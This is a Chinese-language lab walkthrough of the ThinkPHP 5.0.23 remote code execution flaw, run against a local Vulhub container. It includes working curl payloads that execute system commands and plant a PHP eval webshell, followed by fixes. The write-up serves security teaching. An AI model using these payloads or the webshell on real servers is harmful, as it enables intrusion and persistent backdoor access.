漏洞基本信息

项目 内容
漏洞名称 ThinkPHP 5.0.23 远程代码执行 (RCE)
漏洞原理 构造函数覆盖(Variable Coverage)导致过滤失效
危险等级 Critical
测试环境 Kali Linux (Vulhub / Docker)
靶场目录 ~/Desktop/vulhub/thinkphp/5.0.23-rce

漏洞成因分析

ThinkPHP 5.x 版本在处理核心请求类时,由于对 _method 参数缺乏严格过滤,导致攻击者可以触发 Request 类的构造函数 __construct 进行变量覆盖。

  1. 核心逻辑:通过 _method=__construct 覆盖类属性 filter
  2. 函数调用:将 filter[] 设置为 system 等敏感函数。
  3. 绕过限制:利用 s=captcha 等合法路由诱导框架进入错误的解析逻辑,最终执行攻击者传入的恶意指令。

渗透测试过程 (Exploit)

免责声明: 本实验仅用于安全教学与授权渗透测试,严禁用于任何非法用途。

1. 环境启动与初始化

进入靶场目录,执行 Docker 指令启动环境。

1
2
3
4
5
# 进入目录
cd ~/Desktop/vulhub/thinkphp/5.0.23-rce
# 启动环境
docker-compose up -d

环境启动成功

2.漏洞验证 (PoC)

构造特定的 POST 请求,尝试调用系统的 id 命令。

1
2
3
4
5
# 发送构造好的攻击 Payload
curl -X POST "[http://127.0.0.1:8080/index.php?s=captcha](http://127.0.0.1:8080/index.php?s=captcha)" \
-d "_method=__construct&filter[]=system&method=get&get[]=id"

# 预期回显:uid=33(www-data) gid=33(www-data) groups=33(www-data)

反馈:如回显所示,成功获取了 Web 服务的 www-data 用户权限。

3. 权限深度利用 (WebShell)

在确认可执行命令后,进一步通过 echo 命令向 Web 目录写入 PHP 一句话木马。

1
2
3
# 写入名为 shell.php 的后门文件
curl -X POST "[http://127.0.0.1:8080/index.php?s=captcha](http://127.0.0.1:8080/index.php?s=captcha)" \
-d "_method=__construct&filter[]=system&method=get&get[]=echo '<?php @eval(\$_POST[cmd]);?>' > shell.php"

4. WebShell 连通性测试

访问 http://127.0.0.1:8080/shell.php,确认文件已成功生成(页面返回空白即代表 PHP 解析正常)。利用 curl 传递参数验证木马功能:
WebShell 植入成功并验证连通性

1
2
3
# 测试木马执行 whoami
curl -X POST "[http://127.0.0.1:8080/shell.php](http://127.0.0.1:8080/shell.php)" -d "cmd=system('whoami');"
# 预期回显:www-data

防御修复建议

框架升级:尽快升级 ThinkPHP 至最新官方稳定版本。

权限加固:如本次实验所示,确保 Web 服务运行在 www-data 等低权限用户下,严格遵循最小权限原则,防止攻击者直接提权。

边界防护:在 Web 应用防火墙(WAF)中增加对 _method=__construct 等异常特征请求的拦截规则。